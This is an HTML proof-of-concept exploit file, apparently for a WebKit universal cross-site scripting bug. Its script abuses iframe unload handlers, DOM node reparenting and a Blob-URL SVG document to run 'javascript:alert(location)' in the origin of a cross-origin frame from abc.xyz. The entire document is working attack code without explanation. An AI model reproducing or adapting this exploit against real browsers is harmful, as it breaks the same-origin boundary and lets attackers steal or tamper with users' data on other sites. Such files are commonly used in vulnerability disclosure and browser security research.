webkit/0-1132/exploit.html

<body>
    <div>
        <b>
            <p>
                <script>
                d = document.querySelector('div');
                p = document.querySelector('p');
                p.parentElement.appendChild(document.createElement('iframe')).contentWindow.onunload = () => {
                    document.body.appendChild(p);
                    d.remove();

                    f = p.appendChild(document.createElement('iframe'));
                    f.onload = () => {
                        f.onload = null;

                        document.documentElement.innerHTML = '';

                        f.src = 'javascript:alert(location)';

                        let xml = `
<svg xmlns="http://www.w3.org/2000/svg">
<script>
document.documentElement.appendChild(document.createElementNS('http://www.w3.org/1999/xhtml', 'iframe')).contentWindow.onunload = () => {
    document.documentElement.appendChild(parent.f.parentElement.parentElement.parentElement);
};
</sc` + `ript>
<element a="2" />
</svg>`;

                        let tmp = document.documentElement.appendChild(document.createElement('iframe'));
                        tmp.src = URL.createObjectURL(new Blob([xml], {type: 'text/xml'}));
                    };
                    f.src = 'https://abc.xyz/';
                };
                </script>
            </b>
        </p>
    </div>
</body>